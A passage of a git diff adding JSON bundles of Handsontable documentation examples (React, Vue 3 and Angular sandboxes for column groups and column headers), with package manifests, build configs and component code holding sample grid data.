\"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example3\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/columns/column-groups/react/example3.tsx","breadcrumb":["Columns","Column groups"],"guide":"guides/columns/column-groups/column-groups.md","guideTitle":"Column groups","exampleId":"example3","exampleTitle":"Choose which columns stay visible when collapsed","docPermalink":"/column-groups","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__react__example4.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__react__example4.tsx.json new file mode 100644 index 00000000..81348d1b --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__react__example4.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Columns ▸ Column groups · Keep a group cohesive or let it split · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example4\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/columns/column-groups/react/example4.tsx","breadcrumb":["Columns","Column groups"],"guide":"guides/columns/column-groups/column-groups.md","guideTitle":"Column groups","exampleId":"example4","exampleTitle":"Keep a group cohesive or let it split","docPermalink":"/column-groups","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__vue__example1.vue.json new file mode 100644 index 00000000..687c900a --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Columns ▸ Column groups · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/columns/column-groups/vue/example1.vue","breadcrumb":["Columns","Column groups"],"guide":"guides/columns/column-groups/column-groups.md","guideTitle":"Column groups","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/column-groups","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__vue__example2.vue.json new file mode 100644 index 00000000..fad3f964 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__vue__example2.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Columns ▸ Column groups · Example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n"},"docsPath":"guides/columns/column-groups/vue/example2.vue","breadcrumb":["Columns","Column groups"],"guide":"guides/columns/column-groups/column-groups.md","guideTitle":"Column groups","exampleId":"example2","exampleTitle":"Example","docPermalink":"/column-groups","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__vue__example3.vue.json new file mode 100644 index 00000000..ff6625f7 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__vue__example3.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Columns ▸ Column groups · Choose which columns stay visible when collapsed · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example3\");","/src/App.vue":"\n\n"},"docsPath":"guides/columns/column-groups/vue/example3.vue","breadcrumb":["Columns","Column groups"],"guide":"guides/columns/column-groups/column-groups.md","guideTitle":"Column groups","exampleId":"example3","exampleTitle":"Choose which columns stay visible when collapsed","docPermalink":"/column-groups","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__vue__example4.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__vue__example4.vue.json new file mode 100644 index 00000000..e4d58e5d --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__vue__example4.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Columns ▸ Column groups · Keep a group cohesive or let it split · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example4\");","/src/App.vue":"\n\n"},"docsPath":"guides/columns/column-groups/vue/example4.vue","breadcrumb":["Columns","Column groups"],"guide":"guides/columns/column-groups/column-groups.md","guideTitle":"Column groups","exampleId":"example4","exampleTitle":"Keep a group cohesive or let it split","docPermalink":"/column-groups","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__angular__example1.ts.json new file mode 100644 index 00000000..ac58ea73 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Columns ▸ Column headers · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example1',\n template: `\n \n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n\n readonly hotData = [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1', 'J1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2', 'J2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3', 'J3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4', 'H4', 'I4', 'J4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5', 'H5', 'I5', 'J5'],\n ];\n\n readonly hotSettings: GridSettings = {\n colHeaders: true,\n rowHeaders: true,\n height: 'auto',\n nestedHeaders: [\n ['A', { label: 'B', colspan: 8 }, 'C'],\n ['D', { label: 'E', colspan: 4 }, { label: 'F', colspan: 4 }, 'G'],\n [\n 'H',\n { label: 'I', colspan: 2 },\n { label: 'J', colspan: 2 },\n { label: 'K', colspan: 2 },\n { label: 'L', colspan: 2 },\n 'M',\n ],\n ['N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W'],\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-header/angular/example1.ts","breadcrumb":["Columns","Column headers"],"guide":"guides/columns/column-header/column-header.md","guideTitle":"Column headers","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/column-header","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__angular__example2.ts.json new file mode 100644 index 00000000..45f71973 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__angular__example2.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Columns ▸ Column headers · Header labels as an array · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example2',\n template: `\n \n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n\n readonly hotData = [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3'],\n ];\n\n readonly hotSettings: GridSettings = {\n colHeaders: [\n 'ID',\n 'Full name',\n 'Position',\n 'Country',\n 'City',\n 'Address',\n 'Zip code',\n 'Mobile',\n 'E-mail',\n ],\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-header/angular/example2.ts","breadcrumb":["Columns","Column headers"],"guide":"guides/columns/column-header/column-header.md","guideTitle":"Column headers","exampleId":"example2","exampleTitle":"Header labels as an array","docPermalink":"/column-header","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__angular__example3.ts.json new file mode 100644 index 00000000..79d8246e --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__angular__example3.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Columns ▸ Column headers · Header labels as a function · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example3',\n template: `\n \n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n\n readonly hotData = [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1', 'J1', 'K1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2', 'J2', 'K2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3', 'J3', 'K3'],\n ];\n\n readonly hotSettings: GridSettings = {\n colHeaders(index: number) {\n return `Col ${index + 1}`;\n },\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-header/angular/example3.ts","breadcrumb":["Columns","Column headers"],"guide":"guides/columns/column-header/column-header.md","guideTitle":"Column 